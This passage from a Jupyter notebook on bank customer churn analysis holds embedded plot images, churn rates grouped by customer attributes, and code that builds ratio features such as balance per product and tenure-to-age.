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", + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "sns.violinplot(x=\"Exited\", y=\"Balance\", data=dc_train, palette=\"Set3\")" + ] + }, + { + "cell_type": "code", + "execution_count": 43, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "Gender\n", + "0 0.248191\n", + "1 0.165511\n", + "Name: Exited, dtype: float64" + ] + }, + "execution_count": 43, + "metadata": {}, + "output_type": "execute_result" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\n" + ] + }, + { + "data": { + "text/plain": [ + "IsActiveMember\n", + "0 0.266285\n", + "1 0.143557\n", + "Name: Exited, dtype: float64" + ] + }, + "execution_count": 43, + "metadata": {}, + "output_type": "execute_result" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\n" + ] + }, + { + "data": { + "text/plain": [ + "country_Germany\n", + "0.0 0.163091\n", + "1.0 0.324974\n", + "Name: Exited, dtype: float64" + ] + }, + "execution_count": 43, + "metadata": {}, + "output_type": "execute_result" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\n" + ] + }, + { + "data": { + "text/plain": [ + "country_France\n", + "0.0 0.245877\n", + "1.0 0.160593\n", + "Name: Exited, dtype: float64" + ] + }, + "execution_count": 43, + "metadata": {}, + "output_type": "execute_result" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "\n" + ] + } + ], + "source": [ + "cat_vars_bv = ['Gender', 'IsActiveMember', 'country_Germany', 'country_France']\n", + "\n", + "for col in cat_vars_bv:\n", + " dc_train.groupby([col]).Exited.mean()\n", + " print()" + ] + }, + { + "cell_type": "code", + "execution_count": 44, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "NumOfProducts\n", + "1 0.273428\n", + "2 0.076881\n", + "3 0.825112\n", + "4 1.000000\n", + "Name: Exited, dtype: float64" + ] + }, + "execution_count": 44, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "1 4023\n", + "2 3629\n", + "3 223\n", + "4 45\n", + "Name: NumOfProducts, dtype: int64" + ] + }, + "execution_count": 44, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Computed mean on churned or non chuned custmers group by number of product on training data\n", + "col = 'NumOfProducts'\n", + "dc_train.groupby([col]).Exited.mean()\n", + "# unique \"NumOfProducts\" on training data\n", + "dc_train[col].value_counts()" + ] + }, + { + "cell_type": "code", + "execution_count": 45, + "metadata": {}, + "outputs": [], + "source": [ + "eps = 1e-6\n", + "\n", + "dc_train['bal_per_product'] = dc_train.Balance/(dc_train.NumOfProducts + eps)\n", + "dc_train['bal_by_est_salary'] = dc_train.Balance/(dc_train.EstimatedSalary + eps)\n", + "dc_train['tenure_age_ratio'] = dc_train.Tenure/(dc_train.Age + eps)\n", + "dc_train['age_surname_mean_churn'] = np.sqrt(dc_train.Age) * dc_train.Surname_enc" + ] + }, + { + "cell_type": "code", + "execution_count": 46, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "bal_per_product 0\n", + "bal_by_est_salary 0\n", + "tenure_age_ratio 0\n", + "age_surname_mean_churn 0\n", + "dtype: int64" + ] + }, + "execution_count": 46, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "new_cols = ['bal_per_product', 'bal_by_est_salary', 'tenure_age_ratio', 'age_surname_mean_churn']\n", + "# Ensuring that the new column doesn't have any missing values\n", + "dc_train[new_cols].isnull().sum()" + ] + }, + { + "cell_type": "code", + "execution_count": 47, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 47, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": 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3zeeI/PN3nctm+fZ/aX69tPhPJ9/0du7cOZYsWcLatek7AYCfnx9OTk7alqkhkeRrGCT5Gg5JvkmLPLYq+UL/L0uTH9L8emnxnx9wlVIXL17E3d090X0//JD6P6avry+DBw9OdN+0adNSfV4hhPjP+AJGMetKWr4iQ0nL1zBIy9dwSMs3aZFHlulcNkvz/ml+vbSQlq8QQgjjYEBzO0vyFUIIYRwMqNtZkq8QQgjjIMlXCCGE0DMDmuFKkq8QQgjjIC1fIYQQQs8MaMDVf356SSGEEEYigx4p6O3tTZs2bWjRogXr1yd8utaNGzewt7enffv2/Pjjj4SGhiZ7Tkm+QgghjEMGPFIwMDCQ+fPns2HDBnbt2sXmzZu1895/4OHhwZAhQ9i9ezclSpTQPjL2cyT5CiGEMA4ZkHxPnz5N3bp1yZkzJ1mzZqVly5YcOHDgk5dVEx4eDkBkZKRuT6pLWc2EEEKIL1QKJmwMDQ1NtHvYysoKKysr7XpQUBD58uXTrltbW3Pt2rV4x4wdO5bevXszffp0smTJwpYtW5J9fUm+QgghjEMKWrSenp4sWbIkwfZBgwbFm2c/sRmYVSqV9ud3794xYcIEPD09qVKlCn/88QcuLi6sWLHis68vyVcIIYRxSMFoZ2dnZ+zs7BJs/7jVC2BjY8PFixe160FBQVhbW2vX7969S6ZMmahSpQoAXbt2ZeHC5J/LLclXCCGEcUhBy/fT7uWk1K9fn8WLFxMcHEyWLFk4dOhQvCfbFStWjOfPn/Pw4UNKlizJ0aNHqVy5crLnleQrhBDCOGTAQ/psbGwYPnw4Tk5OREdH4+DgQJUqVejbty9DhgyhcuXKzJgxg2HDhqHRaMiTJw/Tp09P9rzySEGRoeyK2iodQrrb8nfyXUqGpmalHkqHkCHURvjxltnEXOkQMsTFgJNpPkfkH2N0Lpul9+w0v15aSMtXCCGEcZDpJYUQQgj90sTGKh2CziT5CiGEMA7S8hVCCCH0TB4pKIQQQuiZ2nAG2EnyFUIIYRyk21kIIYTQM0m+QgghhJ7JaGchhBBCz+SarxBCCKFnMtpZCCGE0DNp+QohhBD6pZEBV0IIIYSeSctXCCGE0DMZ7SyEEELomXQ7CyGEEHpmQN3OJkoHIERyajatxfyDi1hy7FdG/+pCFsssSZYdPG8YHfrZxduW1Sob8w8uolSV0hkdarrSaDRMmDaPPzZsUzoUnTRsXp9tPmvZ/dcm5q70IJtl1hSXsSlozeHLu8mZO4e+wgagUfP6eB1bh/epzcxLIvakypiYmDB22nB2/7WJfWe30sXp3/efVU4rZi6dwtYjnuz+axO2Dq20+0ZNHsLhSzvZdnQN246uYe6KaRlf0Y9806weG4+uZvvJ9cxcMTXROidVJlv2bMxa6c7mY55sOb4W55+66zX2JGnUui8KM9rke+7cORwdHXUu37RpU/z8/NLtfOll0aJFXLx4Md3O5+fnR9OmTdPtfBnNKrcVg+cOZfaPMxjUZADPfZ/jOLZXgnKFSxdm6sZpfNOuQbztNZrUZM7ueRQqVVhPEaePB4996TNkHAd9Tiodik5y5cmJ+4IJjOgzjvYNuuH3xJ9hrgNTVMa2c2tW71qGTYF8+o99oSvD/jcO22+64vfkGcNdf9K5TGcnO4qWKIJd4x50a/k/evbrSqXqFQHwWORG4LMgOjd3pm/nwYz1GKGtX7XalRn9oxsOzZxwaObEqH6ueqtzzjw5mbRgHGN+cMW+YQ/8nzxj0IT+OpcZMOYHAgOC6NrEGadWfbF37kjlml/pLf4kqTW